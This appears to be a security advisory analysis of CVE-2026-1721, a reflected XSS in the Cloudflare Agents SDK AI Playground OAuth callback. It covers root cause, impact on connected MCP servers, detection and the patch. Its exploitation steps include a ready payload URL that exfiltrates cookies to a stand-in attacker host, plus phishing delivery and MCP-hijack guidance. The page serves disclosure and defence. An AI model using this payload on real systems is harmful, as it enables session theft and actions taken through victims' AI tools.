CVE-2026-1721: 
JavaScript vulnerability analysis and mitigation

CVE-2026-1721 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Cloudflare Agents SDK's AI Playground OAuth callback handler. The error_description query parameter was directly interpolated into an inline HTML <script> tag without proper escaping in site/ai-playground/src/server.ts, enabling arbitrary JavaScript execution in a victim's browser session. It affects the agents npm package versions prior to 0.3.10. The vulnerability was published on February 13, 2026, and carries a CVSS v4.0 base score of 6.2 (Medium) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a reflected XSS pattern where the OAuth callback handler in site/ai-playground/src/server.ts reads the error_description query parameter into the authError variable and interpolates it directly into an inline <script> tag without HTML escaping. An attacker can craft a malicious OAuth callback URL containing a JavaScript payload in the error_description parameter; when a victim clicks the link, the browser renders the page and executes the injected script in the context of the victim's session. No authentication or special privileges are required — only user interaction (clicking the crafted link) is needed. The fix, implemented in PR #841, introduces the escape-html library to sanitize the errorDescription and error OAuth parameters before use (GitHub Advisory, Cloudflare PR #841).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, enabling theft of the user's entire LLM chat message history stored in the session. Additionally, the attacker can interact with any MCP (Model Context Protocol) servers connected to the victim's session — including private or authenticated servers — and perform actions on the victim's behalf, such as issuing commands to connected AI tools or services. The vulnerability does not directly impact the confidentiality or integrity of the vulnerable system itself, but poses a high confidentiality risk to subsequent/connected systems (e.g., MCP servers) (GitHub Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.042% (0.000420), placing it in the 7th percentile for exploitation likelihood within the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — a victim must click a specially crafted link — but no attacker privileges or authentication are needed.

1. Reconnaissance: Identify applications built with the Cloudflare Agents SDK (agents npm package < 0.3.10) that expose the AI Playground's OAuth callback endpoint (e.g., /oauth/callback or similar routes handled by configureOAuthCallback).
2. Craft malicious URL: Construct a URL targeting the OAuth callback endpoint with a malicious error_description query parameter containing a JavaScript payload, for example:

   https://target-app.example.com/oauth/callback?error=access_denied&error_description=</script><script>fetch('https://attacker.com/steal?data='+encodeURIComponent(document.cookie))</script>

3. Deliver the link: Send the crafted URL to the victim via phishing email, social engineering, or embedding it in a page the victim is likely to visit.
4. Victim clicks the link: The victim's browser requests the OAuth callback URL; the server interpolates the unescaped error_description value directly into an inline <script> tag in the HTML response.
5. JavaScript executes: The injected script runs in the victim's browser session, enabling the attacker to exfiltrate chat history, session tokens, or issue requests to connected MCP servers on the victim's behalf (GitHub Advisory, Cloudflare PR #841).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after visiting an OAuth callback URL; unusual GET/POST requests to attacker-controlled endpoints containing encoded session data or cookies.
• Logs: Web server access logs showing requests to the OAuth callback endpoint with anomalous or encoded error_description query parameters containing HTML/JavaScript special characters (e.g., <, >, </script>, <script>).
• Browser/Application: Unexpected JavaScript execution errors or network requests originating from the AI Playground page; users reporting unexpected behavior after clicking OAuth-related links.

Cloudflare released a patch in agents@0.3.10 (merged via PR #841 on February 4, 2026), which introduces HTML escaping of the error_description and error OAuth parameters using the escape-html library before interpolation into any HTML context. Agents SDK users should upgrade to agents@0.3.10 or later immediately. Developers using configureOAuthCallback with custom error handling in their own applications must ensure all user-controlled input is properly HTML-escaped before interpolation into script tags or other executable HTML contexts (GitHub Advisory, Cloudflare PR #841).

A technical write-up titled "XSS to MCP: How a Crafted Link Compromises Your Connected AI Servers" was published, highlighting the novel attack surface created by MCP server integration with AI playgrounds (Telegra.ph). A researcher blog post at kazama.in explored the XSS-to-MCP-takeover attack chain in detail (kazama.in). The vulnerability was also reported via HackerOne (report #3424998), indicating responsible disclosure through a bug bounty program. Community commentary noted the risk of XSS vulnerabilities being amplified in AI agent contexts where connected tools (MCP servers) can perform real-world actions on behalf of users.